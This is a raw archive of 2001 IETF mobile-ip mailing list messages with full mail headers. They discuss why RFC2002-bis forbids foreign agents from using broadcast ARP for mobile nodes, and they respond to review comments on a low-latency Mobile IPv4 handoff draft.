	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:15:22 -0800 (PST)
Message-ID: <001301c165da$639c7b40$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <0027E1DC4F2F744DBE07D728CB88BC7F278D0E@hq032.bonn.detecon.com>
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
Date: Mon, 5 Nov 2001 01:15:19 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Based on interoperability testing at various MIP bake-offs, what we
learned was that some routers are configured to automatically proxy
ARP for any address not belonging to the local network.  The presence
of such routers can interfere with the operation of the Mobile IP agent.
A foreign agent, as described in RFC2002, sends out an ARP request
to determine the hardware address for a visiting mobile node.  If the
proxy-ARPing router responds before the mobile node, forwarding
loops can occur and cuasing the mobile node to be unreachable.

This input from MIP bake-offs was presented to Charlie Perkins who
then made the appropriate changes to 2002bis to specify that 
the FA not ARPing for a mobile node's hardware address.

An implementation could pick up that information from the 
ethernet header of an incomping registration request.

Just some historical information regarding why the 2002bis change
is there.

Carl


----- Original Message ----- 
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Monday, November 05, 2001 12:15 AM
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses


> -- Sharif wrote --
> 
> One of the "major changes" listed in rfc2002-bis is that the foreign
> agent
> is not permitted to broadcast an ARP Request on all its local links, in
> order to retreive the MAC address of a mobile node.
> 
> However, in RFC2002, I did not see any text that prohibits this action.
> 
> -- End Sharif
> 
> Unfortunately, I can't answer Your question but only add another one:
> 
> _Why_ is the foreign agent not allowed anymore to use broadcast ARP? 
> 
> As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> reasons for this deviation from RFC2002. If I missed something (it's
> extremely hard to search in the Mobile IP e-mail list archive), please
> let me know.
> 



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 04:39:38 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09728
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 04:39:38 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA12138;
	Mon, 5 Nov 2001 02:38:46 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA15336;
	Mon, 5 Nov 2001 01:38:34 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59blQO016324
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:37:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA59bkDd016323
	for mobile-ip-dist; Mon, 5 Nov 2001 01:37:46 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59bhQO016316
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:37:43 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA05566
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:37:46 -0800 (PST)
Received: from mail.detecon.net (mail.detecon.net [194.25.60.3])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA23069
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:37:45 -0800 (PST)
Received: from dc035.detecon.com (194.25.53.36 [194.25.53.36]) by mail.detecon.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id VX3DZ0D9; Mon, 5 Nov 2001 10:37:52 +0100
Received: from hq031.bonn.detecon.com ([194.25.53.12]) by dc035.detecon.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 5 Nov 2001 10:37:40 +0100
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
Date: Mon, 5 Nov 2001 10:37:32 +0100
Message-ID: <0027E1DC4F2F744DBE07D728CB88BC7F278D0F@hq032.bonn.detecon.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] Question of FA obtaining MAC addresses
Thread-Index: AcFl2RhfXk7pS9GlEdW7pgCgyTDCJgAAmCtw
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 05 Nov 2001 09:37:40.0835 (UTC) FILETIME=[83507330:01C165DD]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA59bhQO016317
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Hi Bjorn,

> ARP consumes bandwidth and is redundant since all needed information
> can be obtained from the MIP protocol
> messages.

As far as the communication between the foreign agent and the mobile
node
is concerned, I agree. If this is the argument of the authors, it would
be
fine with me, however, as You said: The authors maybe have other
reasons.

Moreover, the statement in section 4.2.2 of draft-...-rfc2002-bis-08.txt
is really very restrictive:

"A foreign agent MUST NOT use broadcast ARP for a mobile node's MAC
address on a foreign network"

This statement also complicates (?) the exchange of information between
e.g. two mobile nodes in the foreign network without involving the
foreign
agent. Again, there might be good reasons to do so, but I would like to
learn about them to better understand the issues with Mobile IP in
foreign networks.

Cheers,
Martin

-- Begin bjorn@lifix.fi

Another thing is that using ARP consumes bandwidth and is redundant,
since all needed information can be obtained from the MIP protocol
messages.

The authors maybe have other reasons?

-- End bjorn@lifix.fi

-- On Mon, Nov 05 2001, at 09:15:15 +0100, Lorang, Martin wrote:

...

_Why_ is the foreign agent not allowed anymore to use broadcast ARP? 

...

-- end Martin Lorang

-- Sharif wrote --

...
 
One of the "major changes" listed in rfc2002-bis is that the foreign
agent
is not permitted to broadcast an ARP Request on all its local links, in
order to retreive the MAC address of a mobile node.

However, in RFC2002, I did not see any text that prohibits this action.

...
 
-- End Sharif


I have personally come across one practical problem when deploying a
foreign agent in a network that I did not completly administer. In this
network the gateway responded to ARP requests for all IP addresses
that did not match those of the local network. When a mobile node
came to the foreign network, and the FA wanted to reply to the MN,
the gateway answered to the ARP request, since the address of the MN
was not one from the local network. The MN never got the packet.

I don't know how common it is to use proxy ARP in this way.

Another thing is that using ARP consumes bandwidth and is redundant,
since all needed information can be obtained from the MIP protocol
messages.

The authors maybe have other reasons?

  Bjorn



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 04:42:13 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09821
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 04:42:12 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA13284;
	Mon, 5 Nov 2001 01:41:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA05970;
	Mon, 5 Nov 2001 01:41:34 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59eqQO016411
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:40:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA59eqSx016410
	for mobile-ip-dist; Mon, 5 Nov 2001 01:40:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59enQO016403
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:40:49 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA21070
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:40:52 -0800 (PST)
Received: from mail.detecon.net (mail.detecon.net [194.25.60.3])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA17495
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:38:47 -0700 (MST)
Received: from dc035.detecon.com (194.25.53.36 [194.25.53.36]) by mail.detecon.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id VX3DZ0FG; Mon, 5 Nov 2001 10:40:53 +0100
Received: from hq031.bonn.detecon.com ([194.25.53.12]) by dc035.detecon.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 5 Nov 2001 10:40:41 +0100
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
Date: Mon, 5 Nov 2001 10:40:36 +0100
Message-ID: <0027E1DC4F2F744DBE07D728CB88BC7F278D10@hq032.bonn.detecon.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] Question of FA obtaining MAC addresses
Thread-Index: AcFl26NTXk7sgdGlEdW7pgCgyTDCJgAAhiLw
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 05 Nov 2001 09:40:41.0155 (UTC) FILETIME=[EECB1930:01C165DD]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA59enQO016404
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Hi Carl,

thanks, that helps a lot. 

Cheers,
Martin

-----Original Message-----
From: Carl Williams [mailto:carlw@docomolabs-usa.com]
Sent: Monday, November 05, 2001 10:15 AM
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses


Based on interoperability testing at various MIP bake-offs, what we
learned was that some routers are configured to automatically proxy
ARP for any address not belonging to the local network.  The presence
of such routers can interfere with the operation of the Mobile IP agent.
A foreign agent, as described in RFC2002, sends out an ARP request
to determine the hardware address for a visiting mobile node.  If the
proxy-ARPing router responds before the mobile node, forwarding
loops can occur and cuasing the mobile node to be unreachable.

This input from MIP bake-offs was presented to Charlie Perkins who
then made the appropriate changes to 2002bis to specify that 
the FA not ARPing for a mobile node's hardware address.

An implementation could pick up that information from the 
ethernet header of an incomping registration request.

Just some historical information regarding why the 2002bis change
is there.

Carl


----- Original Message ----- 
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Monday, November 05, 2001 12:15 AM
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses


> -- Sharif wrote --
> 
> One of the "major changes" listed in rfc2002-bis is that the foreign
> agent
> is not permitted to broadcast an ARP Request on all its local links,
in
> order to retreive the MAC address of a mobile node.
> 
> However, in RFC2002, I did not see any text that prohibits this
action.
> 
> -- End Sharif
> 
> Unfortunately, I can't answer Your question but only add another one:
> 
> _Why_ is the foreign agent not allowed anymore to use broadcast ARP? 
> 
> As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> reasons for this deviation from RFC2002. If I missed something (it's
> extremely hard to search in the Mobile IP e-mail list archive), please
> let me know.
> 


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 05:10:35 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10370
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 05:10:34 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA02620;
	Mon, 5 Nov 2001 03:09:42 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA08312;
	Mon, 5 Nov 2001 02:09:47 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5A8rQO016582
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:08:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5A8riG016581
	for mobile-ip-dist; Mon, 5 Nov 2001 02:08:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5A8nQO016574
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:08:49 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA24122
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:08:51 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA08909
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:08:49 -0800 (PST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA5A8mf27057
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:08:48 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Mon Nov 05 11:08:47 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8JRV6>; Mon, 5 Nov 2001 11:08:47 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED4F@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Failure Recove
	ry
Date: Mon, 5 Nov 2001 11:08:34 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello Jonathan,

Thanks for the comments.
I'll try answering your emails one by one, but it's probably
better to converge to one thread since they're all related.

> How do MNs and FAs recover from a failed PreReg handover? For example,
> if the MN's pre-registration request is lost of delayed, what needs
> to happen to ensure continued packet delivery?
> 
> PreReg requires a lot of messages to traverse many links, opening
> up lots of opportunities for failure:
>     Solicitation from MN -> oFA
>     Solicitation from MN -> oFA -> nFA
>     Advert from oFA / nFA --> MN
>     Reg Req from MN -> oFA -> nFA -> HA
>     Req reply from HA -> nFA -> oFA -> MN (and nFA -> on-link)
> It would be useful to consider what would happen if any one of the
> messages is lost or delayed.

We have now included a section on both PRE and POST REG failure recovery
in the draft we will release next since similar comments were raised.
However the messages you point out above are RFC2002
messages, so your comments apply to Mobile IPv4 in general. It's not
the aim of this draft to make RFC2002 more reliable but to make
sure we consider any additional reliability issues which are introduced.
In general PRE-REG naturally resorts to RFC2002 in case of msg failure.
The MN shouldn't behave much differently from RFC2002 except in 
case of mobile-initiated where it does a special solicitation following
a trigger.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 05:28:08 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10567
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 05:28:08 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA13695;
	Mon, 5 Nov 2001 03:27:10 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA09970;
	Mon, 5 Nov 2001 02:27:16 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5AQNQO016752
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:26:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5AQNiJ016751
	for mobile-ip-dist; Mon, 5 Nov 2001 02:26:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5AQJQO016744
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:26:19 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA25542
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:26:21 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA08925
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 03:24:17 -0700 (MST)
Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA5AQIC27837
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:26:18 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Mon Nov 05 11:26:16 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8JSY1>; Mon, 5 Nov 2001 11:26:17 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED50@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transit
	ion
Date: Mon, 5 Nov 2001 11:26:01 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> How are transitions to and from PrePreg coverage areas handled?
> What should the FAs do, and more importantly, how should the MN
> know when it has entered and left PreReg coverage areas?

Wouldn't expect someone to build PRE-REG plus POST-REG areas and
allow movement between the two. There's the common method which I like
since it makes PRE and POST work together. Don't know if that was what
you meant. If instead you are considering PRE-REG to RFC2002 then it
depends on mobile/network initiated. The MN doesn't have an active
role in network-initiated so there would be no difference. In
mobile-initiated the MN will either not get the L2-MT trigger, so
no soliciting happens, or the PrRtSol doesn't receive a reply
which means that in both cases the MN follows RFC2002 when it connects
to nFA. The new failure recovery section should handle these cases
and the FA behaviour, which basically involves doing RFC2002.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 06:07:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11021
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 06:07:00 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA07652;
	Mon, 5 Nov 2001 04:06:01 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13775;
	Mon, 5 Nov 2001 03:06:03 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5B5BQO016922
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 03:05:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5B5AE3016921
	for mobile-ip-dist; Mon, 5 Nov 2001 03:05:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5B57QO016914
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 03:05:07 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA22784
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 03:04:53 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA26298
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 04:03:03 -0700 (MST)
Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA5B55C13878
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 12:05:05 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Mon Nov 05 12:04:41 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LKR7M>; Mon, 5 Nov 2001 11:56:52 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED51@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Relaying RegReplies v
	ia oFA
Date: Mon, 5 Nov 2001 12:04:27 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> The PreReg proposal recommends that FAs solicit and cache each others
> advertisements, so they can proxy them for MNs during handover.
> However, during source-trigger network initiated handovers and
> MN initiated handovers,  there is no way for nFAs to know which
> FA is the oFA when a MN is handed over. This breaks the requirement
> that the nFA must send registration replies via oFA to the MN. How
> should this issue be resolved?

That's a good point, the nFA reply must be sent both on-link (when the MN
attaches) and to the old link (oFA). As it is now the only way to get
the reply through oFA would be to have the unicast reply go through the
HA/GFA in the source and mobile-initiated cases. So some bits need modifying
in the draft. The important thing is that the MN gets the reply somewhere
since it doesn't break the protocol if it doesn't get it in time before
it leaves oFA.

Instead one way to do the nFA-oFA tunnelling would be to add an LLA extension
for the oFA identifier to the MN's Registration Request. That adds some
complexity and I'm not sure if it gains us anything, since the MN may have
left the oFA link anyway by the time the reply arrives. Anyone have a strong
opinion?

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 09:13:01 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18773
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 09:13:01 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA12745;
	Mon, 5 Nov 2001 06:12:04 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA07580;
	Mon, 5 Nov 2001 06:09:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5E8lQO017128
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 06:08:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5E8lxo017127
	for mobile-ip-dist; Mon, 5 Nov 2001 06:08:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5E8iQO017120
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 06:08:44 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
